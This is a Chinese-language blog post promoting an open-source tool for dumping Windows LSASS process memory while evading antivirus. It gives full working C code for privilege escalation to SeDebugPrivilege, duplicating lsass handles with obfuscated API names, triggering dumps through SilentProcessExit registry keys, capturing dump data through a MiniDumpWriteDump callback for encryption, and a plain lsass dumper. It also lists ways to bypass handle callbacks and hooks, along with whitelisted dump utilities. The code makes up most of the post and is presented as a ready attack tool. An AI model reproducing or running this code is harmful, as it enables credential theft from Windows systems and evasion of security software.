Hidedump:dumplsass加密免杀工具

前记

思路:直接dumplsass原文会被杀软删掉,通过hook WriteAll对dump的内容先加密再保存到磁盘并离线解密

项目已开源,该项目采用hook WriteAll+duplication,求个stars嘻嘻嘻

https://github.com/coleak2021/hidedump

hook WriteAll

调试过程

.sympath C:\symbols\local;srv*C:\symbols\microsoft*https://msdl.microsoft.com/download/symbols
.reload
x Dbgcore!MiniDumpWriteDump
bp MiniDumpWriteDump
g
p
bp NtWriteFile
g
k

在这里插入图片描述

Taking a look at the backtrace produced once the execution flow arrives to NtWriteFile, we can see how the last call inside dbgcore.dll, before letting the OS take care of the file-writing process, is made from a function called WriteAll laying inside the Win32FileOutputProvider.

该函数未在dll中导出,因此只能通过偏移量拿到,E44F-1F=E430(offset = abs_address - base_address)

通过ida查看函数逻辑可以确定参数:

在这里插入图片描述

arg1: File Handler
arg2: Buffer
arg3: Size

这里调试中发现MiniDumpWriteDump会分段多次调用WriteAll进行处理而不是一次性处理缓冲区的内容

duplication

  • 通过NtQuerySystemInformation来获取所有进程打开的句柄。
  • 使用具有PROCESS_DUP_HANDLE权限的OpenProcess打开进程。
  • 使用NtDuplicateObject来获取远程进程副本。
  • 再通过NtQueryObject来获取句柄的信息。
  • 最后通过QueryFullProcessImageName显示进程完整路径加以判断。

结构体

__kernel_entry NTSTATUS NtQuerySystemInformation(
  [in]            SYSTEM_INFORMATION_CLASS SystemInformationClass,
  [in, out]       PVOID                    SystemInformation,
  [in]            ULONG                    SystemInformationLength,
  [out, optional] PULONG                   ReturnLength
);

typedef struct _SYSTEM_HANDLE
{
    ULONG ProcessId;
    BYTE ObjectTypeNumber;
    BYTE Flags;
    USHORT Handle;
    PVOID Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG HandleCount;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
HandleCount:表示句柄的总数
Handles[1]:即是单个的句柄(同时其详细结构在_SYSTEM_HANDLE中)
在_SYSTEM_HANDLE中表示单个句柄的参数
ProcessId:进程标识符
ObjectTypeNumber:打开的对象的类型
Flags:句柄属性标志
Handle:句柄数值,在进程打开的句柄中唯一标识某个句柄
Object:这个就是句柄对应的EPROCESS的地址
GrantedAccess:句柄对象的访问权限

NTSYSCALLAPI NTSTATUS NTAPI
NtDuplicateObject(
    _In_ HANDLE SourceProcessHandle,
    _In_ HANDLE SourceHandle,
    _In_opt_ HANDLE TargetProcessHandle,
    _Out_opt_ PHANDLE TargetHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ ULONG HandleAttributes,
    _In_ ULONG Options
);

NTSYSCALLAPI NTSTATUS NTAPI
NtQueryObject(
    _In_ HANDLE Handle,
    _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,//OBJECT_TYPE_INFORMATION
    _Out_opt_ PVOID ObjectInformation,
    _In_ ULONG ObjectInformationLength,
    _Out_opt_ PULONG ReturnLength
);

typedef struct _OBJECT_TYPE_INFORMATION
{
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    ULONG PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation, // obsolete...delete
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemMirrorMemoryInformation,
SystemPerformanceTraceInformation,
SystemObsolete0,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemVerifierAddDriverInformation,
SystemVerifierRemoveDriverInformation,
SystemProcessorIdleInformation,
SystemLegacyDriverInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation,
SystemTimeSlipNotification,
SystemSessionCreate,
SystemSessionDetach,
SystemSessionInformation,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemVerifierThunkExtend,
SystemSessionProcessInformation,
SystemLoadGdiDriverInSystemSpace,
SystemNumaProcessorMap,
SystemPrefetcherInformation,
SystemExtendedProcessInformation,
SystemRecommendedSharedDataAlignment,
SystemComPlusPackage,
SystemNumaAvailableMemory,
SystemProcessorPowerInformation,
SystemEmulationBasicInformation,
SystemEmulationProcessorInformation,
SystemExtendedHandleInformation,
SystemLostDelayedWriteInformation,
SystemBigPoolInformation,
SystemSessionPoolTagInformation,
SystemSessionMappedViewInformation,
SystemHotpatchInformation,
SystemObjectSecurityMode,
SystemWatchdogTimerHandler,
SystemWatchdogTimerInformation,
SystemLogicalProcessorInformation,
SystemWow64SharedInformation,
SystemRegisterFirmwareTableInformationHandler,
SystemFirmwareTableInformation,
SystemModuleInformationEx,
SystemVerifierTriageInformation,
SystemSuperfetchInformation,
SystemMemoryListInformation,
SystemFileCacheInformationEx,
MaxSystemInfoClass // MaxSystemInfoClass should always be the last enum
} SYSTEM_INFORMATION_CLASS;

typedef enum _OBJECT_INFORMATION_CLASS {
    ObjectBasicInformation,
    ObjectNameInformation,
    ObjectTypeInformation,
    ObjectAllInformation,
    ObjectDataInformation
} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS;
//注释
//ObjectBasicInformation 对应结构为:OBJECT_BASIC_INFORMATION
//ObjectNameInformation 对应结构为:OBJECT_NAME_INFORMATION
//ObjectTypeInformation  对应结构为:OBJECT_TYPE_INFORMATION
//ObjectAllInformation  对应结构为:   OBJECT_ALL_INFORMATION
//ObjectDataInformation对应结构为:  OBJECT_DATA_INFORMATION


WINBASEAPI BOOL WINAPI
QueryFullProcessImageNameW(
    _In_ HANDLE hProcess,
    _In_ DWORD dwFlags,
    _Out_writes_to_(*lpdwSize, *lpdwSize) LPWSTR lpExeName,
    _Inout_ PDWORD lpdwSize
    );

获取逻辑

#include <windows.h>
#include <stdio.h>
#include <wchar.h>

#define NT_SUCCESS(x) ((x) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004

#define SystemHandleInformation 16
#define ObjectBasicInformation 0
#define ObjectNameInformation 1
#define ObjectTypeInformation 2

typedef HANDLE(NTAPI* _NtOpenProcess)(
    DWORD dwDesiredAccess,
    BOOL  bInheritHandle,
    DWORD dwProcessId
    );

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );
typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
    HANDLE SourceProcessHandle,
    HANDLE SourceHandle,
    HANDLE TargetProcessHandle,
    PHANDLE TargetHandle,
    ACCESS_MASK DesiredAccess,
    ULONG Attributes,
    ULONG Options
    );
typedef NTSTATUS(NTAPI* _NtQueryObject)(
    HANDLE ObjectHandle,
    ULONG ObjectInformationClass,
    PVOID ObjectInformation,
    ULONG ObjectInformationLength,
    PULONG ReturnLength
    );

typedef BOOL(NTAPI* _NtQueryFullProcessImageNameW)(
    HANDLE hProcess,
    DWORD  dwFlags,
    LPWSTR lpExeName,
    PDWORD lpdwSize
    );

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _SYSTEM_HANDLE {
    ULONG ProcessId;
    BYTE ObjectTypeNumber;
    BYTE Flags;
    USHORT Handle;
    PVOID Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG HandleCount;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef enum _POOL_TYPE {
    NonPagedPool,
    PagedPool,
    NonPagedPoolMustSucceed,
    DontUseThisType,
    NonPagedPoolCacheAligned,
    PagedPoolCacheAligned,
    NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;

typedef struct _OBJECT_TYPE_INFORMATION {
    UNICODE_STRING Name;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccess;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    USHORT MaintainTypeList;
    POOL_TYPE PoolType;
    ULONG PagedPoolUsage;
    ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

PVOID GetLibraryProcAddress(const char * LibraryName, const char* ProcName) {
    return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
}

void ErrorExit(LPTSTR lpszFunction) {
    // Retrieve the system error message for the last-error code

    LPVOID lpMsgBuf;
    LPVOID lpDisplayBuf;
    DWORD dw = GetLastError();

    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER |
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR)&lpMsgBuf,
        0, NULL);

    printf((const char*)lpMsgBuf);

    LocalFree(lpMsgBuf);
    LocalFree(lpDisplayBuf);
    ExitProcess(dw);
}

void ShowErr() {
    CHAR errormsg[100];
    FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 0, errormsg, sizeof(errormsg), NULL);
    printf("ERROR: %s", errormsg);
}

HANDLE enum_lsass_handles() {
    char ntdll[] = { 'n','t','d','l','l','.','d','l','l',0 };
    char kernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l',0 };
    char qsysinfo[] = { 'N','t','Q','u','e','r','y','S','y','s','t','e','m','I','n','f','o','r','m','a','t','i','o','n',0 };
    char dupo[] = { 'N','t','D','u','p','l','i','c','a','t','e','O','b','j','e','c','t',0 };
    char qo[] = { 'N','t','Q','u','e','r','y','O','b','j','e','c','t',0 };
    char qfpi[] = { 'Q','u','e','r','y','F','u','l','l','P','r','o','c','e','s','s','I','m','a','g','e','N','a','m','e','W',0 };
    char op[] = { 'O','p','e','n','P','r','o','c','e','s','s',0 };

    _NtQuerySystemInformation ffNtQuery_SystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress(ntdll, qsysinfo);
    _NtDuplicateObject ffNtDuplicate_Object =(_NtDuplicateObject) GetLibraryProcAddress(ntdll, dupo);
    _NtQueryObject ffNtQuery_Object =(_NtQueryObject) GetLibraryProcAddress(ntdll, qo);
    _NtQueryFullProcessImageNameW ffNtQuery_FullProcessImageNameW =(_NtQueryFullProcessImageNameW) GetLibraryProcAddress(kernel32, qfpi);
    _NtOpenProcess ffNtOpen_Process = (_NtOpenProcess)GetLibraryProcAddress(kernel32, op);

    NTSTATUS status;
    PSYSTEM_HANDLE_INFORMATION handleInfo;
    ULONG handleInfoSize = 0x10000;
    ULONG pid;
    HANDLE processHandle;
    ULONG i;
    HANDLE lsass_handles = NULL;

    handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

    // NtQuerySystemInformation won't give us the correct buffer size,
    //  so we guess by doubling the buffer size.
    while ((status = ffNtQuery_SystemInformation(
        SystemHandleInformation,
        handleInfo,
        handleInfoSize,
        NULL
    )) == STATUS_INFO_LENGTH_MISMATCH)
        handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

    // NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH.
    if (!NT_SUCCESS(status)) {
        printf("NtQuerySystemInformation failed!\n");
        HANDLE tmp=NULL;
        return tmp;
    }

    for (i = 0; i < handleInfo->HandleCount; i++) {
        SYSTEM_HANDLE handle = handleInfo->Handles[i];
        HANDLE dupHandle = NULL;
        POBJECT_TYPE_INFORMATION objectTypeInfo;
        PVOID objectNameInfo;
        UNICODE_STRING objectName;
        ULONG returnLength;

        // Check if PID belongs to System
        if (handle.ProcessId == 4)
            continue;

        processHandle = ffNtOpen_Process(PROCESS_DUP_HANDLE, FALSE, handle.ProcessId);

        // Duplicate the handle so we can query it.
        if (!NT_SUCCESS(ffNtDuplicate_Object(
            processHandle,
            (void*)handle.Handle,
            GetCurrentProcess(),
            &dupHandle,
            PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
            0,
            0
        ))) {
            continue;
        }


        // Query the object type.
        objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
        if (!NT_SUCCESS(ffNtQuery_Object(
            dupHandle,
            ObjectTypeInformation,
            objectTypeInfo,
            0x1000,
            NULL
        ))) {
            continue;
        }

        UNICODE_STRING objectType = *(PUNICODE_STRING)objectTypeInfo;

        wchar_t path[MAX_PATH];
        DWORD maxPath = MAX_PATH;

        if (wcsstr(objectType.Buffer, L"Process") != NULL)
        {
            // Print handle, type and its PID

            ffNtQuery_FullProcessImageNameW(dupHandle, 0, path, &maxPath);
            if (wcsstr(path, L"lsass.exe") != NULL) {
                printf("[%#x] %S: %d %ws\n", handle.Handle, objectType.Buffer, handle.ProcessId, path);
                lsass_handles = dupHandle;
            }
        }
        free(objectTypeInfo);
    }
    free(handleInfo);

    return lsass_handles;
}
BOOL  EnableDebugPrivilege()
{
    HANDLE token_handle;
    LUID luid;
    TOKEN_PRIVILEGES tkp;
    //打开访问令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token_handle))
    {
        printf("openProcessToken error");
        return   FALSE;
    }
    //查询luid
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        CloseHandle(token_handle);
        printf("lookupPrivilegevalue error");
        return   FALSE;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    //调整访问令牌权限
    if (!AdjustTokenPrivileges(token_handle, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        CloseHandle(token_handle);
        printf("adjust error");
        return   FALSE;
    }
    BOOL dwRet = ::GetLastError();
    if (ERROR_SUCCESS == dwRet)
    {
        printf("sucessful");
        return TRUE;
    }
    else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
    {
        printf("ERROR_NOT_ALL_ASSIGNED");
        return FALSE;
    }
}
int main() {
    EnableDebugPrivilege();
    enum_lsass_handles();
    return 0;
}

其他思路

SilentProcessExit

原理

促使WerFault.exe对Lsass进程进行内存转储,需要依靠一种被称为“静默进程退出”(SlientProcessExit)的机制,在以下两种情况下,该机制可以触发对特定进程的特殊动作,这里的特定进程可以理解为Lsass进程:

  • 特定进程调用ExitProcess()终止自身
  • 其他进程调用TerminateProcess()结束特定进程

在触发静默进程退出机制时,可被支持的几个动作包括:

  • 启动一个监控进程
  • 显示一个弹窗
  • 创建一个Dump文件

要对Lsass进程设置静默退出监控,需要提前对几个注册表项进行设置:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe\ 下的1个键值:
GlobalFlag - 0x200(FLG_MONITOR_SILENT_PROCESS_EXIT)

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe\ 下的3个键值:
ReportingMode - 0x2(LOCAL_DUMP);
LocalDumpFolder – DUMP文件被存放的目录,可自定义,默认为 %TEMP%\Silent Process Exit;
DumpType – 0x2(完全转储目标进程内存,MiniDumpWithFullMemory)

代码实现

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#define SavePath L"c:\\temp"

//获取lsass进程pid
DWORD FindProcessId() {
    PROCESSENTRY32 processInfo;
    processInfo.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }
    if (Process32First(snapshot, &processInfo)) {
        do {
            if (!_wcsicmp(L"lsass.exe", processInfo.szExeFile)) {
                CloseHandle(snapshot);
                return processInfo.th32ProcessID;
            }
        } while (Process32Next(snapshot, &processInfo));
    }
    CloseHandle(snapshot);
    return 0;
}

//修改注册表
int regedit() {
    HKEY hKey;
    LONG result;
    //创建并打开 "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" 子键
    result = RegCreateKeyEx(
        HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\lsass.exe",
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_WRITE,
        NULL,
        &hKey,
        NULL
    );
    //添加 DumpType 类型为 REG_DWORD 的内容,数据为0x2
    DWORD dumpTypeValue = 0x02;
    result = RegSetValueEx(hKey, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpTypeValue, sizeof(DWORD));
    //添加 LocalDumpFolder 类型为 REG_SZ 的内容,数据为 c:\temp(SavePath)
    result |= RegSetValueEx(hKey, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)SavePath, sizeof(SavePath));
    //添加 ReportingMode 类型为 REG_DWORD 的内容,数据为0x2
    DWORD reportingModeValue = 0x02;
    result |= RegSetValueEx(hKey, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingModeValue, sizeof(DWORD));
    RegCloseKey(hKey);

    //创建并打开 "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" 子键
    result = RegCreateKeyEx(
        HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe",
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_WRITE,
        NULL,
        &hKey,
        NULL
    );
    //添加 GlobalFlag 类型为 REG_DWORD 的内容,数据为0x200
    DWORD globalFlagValue = 0x200;
    result = RegSetValueEx(hKey, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlagValue, sizeof(DWORD));
    RegCloseKey(hKey);
    return 0;
}

// 启用调试权限
void DebugPrivilege() {
    //打开进程访问令牌
    HANDLE hProcessToken = NULL;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hProcessToken);
    //取得SeDebugPrivilege特权的LUID值
    LUID luid;
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
    //调整访问令牌特权
    TOKEN_PRIVILEGES token;
    token.PrivilegeCount = 1;
    token.Privileges[0].Luid = luid;
    token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    //获取debug特权
    AdjustTokenPrivileges(hProcessToken, FALSE, &token, 0, NULL, NULL);
    CloseHandle(hProcessToken);
}

int main() {
    //提升令牌访问权限
    DebugPrivilege();

    //设置注册表
    regedit();

    //获取lsass进程pid
    DWORD processId = FindProcessId();

    //获取lsass句柄
    HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, processId);
    if (hProcess == INVALID_HANDLE_VALUE) {
        printf("OpenProcess() --err: %d\n", GetLastError());
    }

    //从ntdll中取RtlReportSilentProcessExit函数
    typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit)(
        HANDLE processHandle,
        NTSTATUS ExitStatus
        );
    HMODULE hModule = GetModuleHandle(L"ntdll.dll");
    RtlReportSilentProcessExit fRtlReportSilentProcessExit = (RtlReportSilentProcessExit)GetProcAddress(hModule, "RtlReportSilentProcessExit");

    //静默退出lsass
    NTSTATUS s = fRtlReportSilentProcessExit(hProcess, 0);
    if (s == 0) {
        printf("Lsass内存转储成功,保存路径:%S", SavePath);
    }
    CloseHandle(hProcess);
    CloseHandle(hModule);
}

minidumpCallback

回调处理dump进行加密处理

BOOL CALLBACK minidumpCallback(
	__in     PVOID callbackParam,
	__in     const PMINIDUMP_CALLBACK_INPUT callbackInput,
	__inout  PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
	LPVOID destination = 0, source = 0;
	DWORD bufferSize = 0;

	switch (callbackInput->CallbackType)
	{
	case IoStartCallback:
		callbackOutput->Status = S_FALSE;
		break;

		// Gets called for each lsass process memory read operation
	case IoWriteAllCallback:
		callbackOutput->Status = S_OK;

		// A chunk of minidump data that's been jus read from lsass. 
		// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
		// We will simply save it to dumpBuffer.
		source = callbackInput->Io.Buffer;

		// Calculate location of where we want to store this part of the dump.
		// Destination is start of our dumpBuffer + the offset of the minidump data
		destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

		// Size of the chunk of minidump that's just been read.
		bufferSize = callbackInput->Io.BufferBytes;
		bytesRead += bufferSize;

		RtlCopyMemory(destination, source, bufferSize);

		printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize);
		break;

	case IoFinishCallback:
		callbackOutput->Status = S_OK;
		break;

	default:
		return true;
	}
	return TRUE;
}

后记

绕过驱动注册的句柄回调

The Windows kernel allows your driver to register a list of callback routines for thread, process, and desktop handle operations. This can be achieved through ObRegisterCallbacks

创建新的Lsass进程
复制现有Lsass句柄,即从其他进程中duplicate Lsass句柄
堆栈欺骗,将Dump程序自身的堆栈调用特征做伪装,使其看起来是一个合法的系统进程对Lsass句柄进行了复制
将Lsass进程句柄泄露(比如利用seclogon)等。

绕过hook

MiniDumpWriteDump heavily relies on the usage of the NtReadVirtualMemory system call that allows it to read memory of remote processes

syscall
Unhook
使用系统合法程序生成Lsass的dump文件

加密

minidumpCallback
hook WriteAll

白名单

  • Procdump.exe
  • SQLDumper.exe
  • createdump.exe
  • AvDump.exe
  • DumpMinitool

Process Security and Access Rights

  1. PROCESS_ALL_ACCESS: 进程的所有可能访问权限。

  2. PROCESS_CREATE_PROCESS: 需要创建一个进程。

  3. PROCESS_CREATE_THREAD: 需要创建一个线程。

  4. PROCESS_DUP_HANDLE: 需要使用 DuplicateHandle 复制句柄。

  5. PROCESS_QUERY_INFORMATION: 需要检索有关进程的一般信息,例如其令牌、退出代码和优先级。

  6. PROCESS_QUERY_LIMITED_INFORMATION: 需要检索有关进程的某些有限信息。

  7. PROCESS_SET_INFORMATION: 需要设置有关进程的某些信息,例如其优先级。

  8. PROCESS_SET_QUOTA: 需要使用 SetProcessWorkingSetSize 设置内存限制。

  9. PROCESS_SUSPEND_RESUME: 需要暂停或恢复进程。

  10. PROCESS_TERMINATE: 需要使用 TerminateProcess 终止进程。

  11. PROCESS_VM_OPERATION: 需要对进程的地址空间执行操作(VirtualProtectEx、WriteProcessMemory)。

  12. PROCESS_VM_READ: 需要在使用 ReadProcessMemory 的进程中读取内存。

  13. PROCESS_VM_WRITE: 需要在使用 WriteProcessMemory 的进程中写入内存。

权限提升

进程访问令牌权限提升的实现步骤较为固定。要想提升访问令牌权限,首先要获取进程的访问令牌,然后将访问令牌的权限修改为指定权限,但是系统内部并不直接识别权限名称,而是识别LUID值,所以需要根据权限名称获取对应的LUID值,实现进程访问令牌权限的修改。

#include <stdio.h>
#include <windows.h>
BOOL  EnableDebugPrivilege()
{
    HANDLE token_handle;
    LUID luid;
    TOKEN_PRIVILEGES tkp;
    //打开访问令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token_handle))
    {
        printf("openProcessToken error");
        return   FALSE;
    }
    //查询luid
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        CloseHandle(token_handle);
        printf("lookupPrivilegevalue error");
        return   FALSE;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    //调整访问令牌权限
    if (!AdjustTokenPrivileges(token_handle, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        CloseHandle(token_handle);
        printf("adjust error");
        return   FALSE;
    }
    BOOL dwRet = ::GetLastError();
    if (ERROR_SUCCESS == dwRet)
    {
        printf("sucessful");
        return TRUE;
    }
    else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
    {
        printf("ERROR_NOT_ALL_ASSIGNED");
        return FALSE;
    }
}
int main()
{
    EnableDebugPrivilege();
    system("pause");
    return 0;
}

关于代码中的错误码可以参考

https://learn.microsoft.com/zh-cn/windows/win32/debug/system-error-codes

MiniDumpWriteDump

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")

// Function to get the Process ID (PID) by its name
int getPIDbyProcName(const wchar_t* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Get the first process entry in the snapshot
    if (Process32First(hSnap, &pe32) != FALSE) {
        // Iterate through the running processes to find the process with the specified name
        while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {
            if (wcscmp(pe32.szExeFile, procName) == 0) {
                // Found the process with the matching name, store its PID
                pid = pe32.th32ProcessID;
                break;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

// Function to set a privilege for the current process
BOOL setPrivilege(LPCTSTR priv) {
    HANDLE token;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    BOOL res = TRUE;

    // Lookup the LUID (Locally Unique Identifier) for the specified privilege name
    if (!LookupPrivilegeValue(NULL, priv, &luid))
        res = FALSE;

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // Open the access token for the current process
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token))
        res = FALSE;

    // Enable the specified privilege in the access token
    if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp),NULL,NULL))
        res = FALSE;
    BOOL dwRet = ::GetLastError();
    if (ERROR_SUCCESS == dwRet)
    {
        printf("sucessful");
        return TRUE;
    }
    else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
    {
        printf("ERROR_NOT_ALL_ASSIGNED");
        return FALSE;
    }
    // Print status of the privilege enabling attempt
    printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
    return res;
}

// Function to create a memory dump of the lsass.exe process
BOOL createMiniDump() {
    bool dumped = false;
    int pid = getPIDbyProcName(L"lsass.exe");

    // Open a handle to the lsass.exe process with read and query information access rights
    HANDLE ph = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, pid);

    // Create a file handle to the output file for the memory dump
    HANDLE out = CreateFileA("lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    // Check if both process and file handles are valid
    if (ph && out != INVALID_HANDLE_VALUE) {
        // Generate the memory dump of the lsass.exe process and write it to the output file
        dumped = MiniDumpWriteDump(ph, pid, out, (MINIDUMP_TYPE)0x00000002, NULL, NULL, NULL);

        // Print status of the memory dump operation
        printf(dumped ? "successfully dumped to lsaas.dmp :)\n" : "failed to dump :(\n");

        // Close the file and process handles
        CloseHandle(out);
        CloseHandle(ph);

        // Print the PID of the dumped lsass.exe process
        printf("dumped lsass.exe with PID %d\n", pid);

        // If the memory dump was successful, print the dump file location
        if (dumped) {
            printf("dumping lsass.exe to lsass.dmp\n");
        }
    }

    // Return whether the memory dump was successful
    return dumped;
}

int main(int argc, char* argv[]) {
    // Enable the SE_DEBUG_NAME privilege for the current process to allow debugging other processes
    if (!setPrivilege(SE_DEBUG_NAME))
        return -1;

    // Create a memory dump of the lsass.exe process
    if (!createMiniDump())
        return -1;

    // Exit the program with a success status
    return 0;
}

